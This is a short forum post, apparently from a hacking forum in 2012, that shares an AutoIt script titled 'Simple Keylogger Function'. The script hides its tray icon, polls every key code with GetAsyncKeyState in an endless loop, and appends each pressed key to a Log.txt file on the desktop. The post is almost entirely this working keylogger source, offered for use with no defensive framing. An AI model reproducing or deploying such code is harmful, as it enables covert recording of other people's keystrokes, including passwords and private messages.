Simple Keylogger Function 09-16-2012, 01:48 AM
#1
Code:
#NotrayIcon
#include <WinAPI.au3>
;==============================
; AutoIt
; Autor : M3
; Simple KeyLoguer Function
;==============================
sGetKey()
Func sGetKey()
While 1
Local $sKey, $Result , $Log
For $sKey = 1 To 255
$Result = _WinAPI_GetAsyncKeyState($sKey)
If $Result = -32767 then
$Result = Chr($sKey)
$Log = FileOpen(@DesktopDir & "\Log.txt", 1)
FileWrite($Log, $Result)
FileClose($Log)
EndIf
Next
WEnd
Endfunc
(This post was last modified: 09-18-2012, 01:08 AM by Skullmeat.)

![[Image: 337AU3.jpg]](http://dekoderspicture.com/images/337AU3.jpg)
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)


)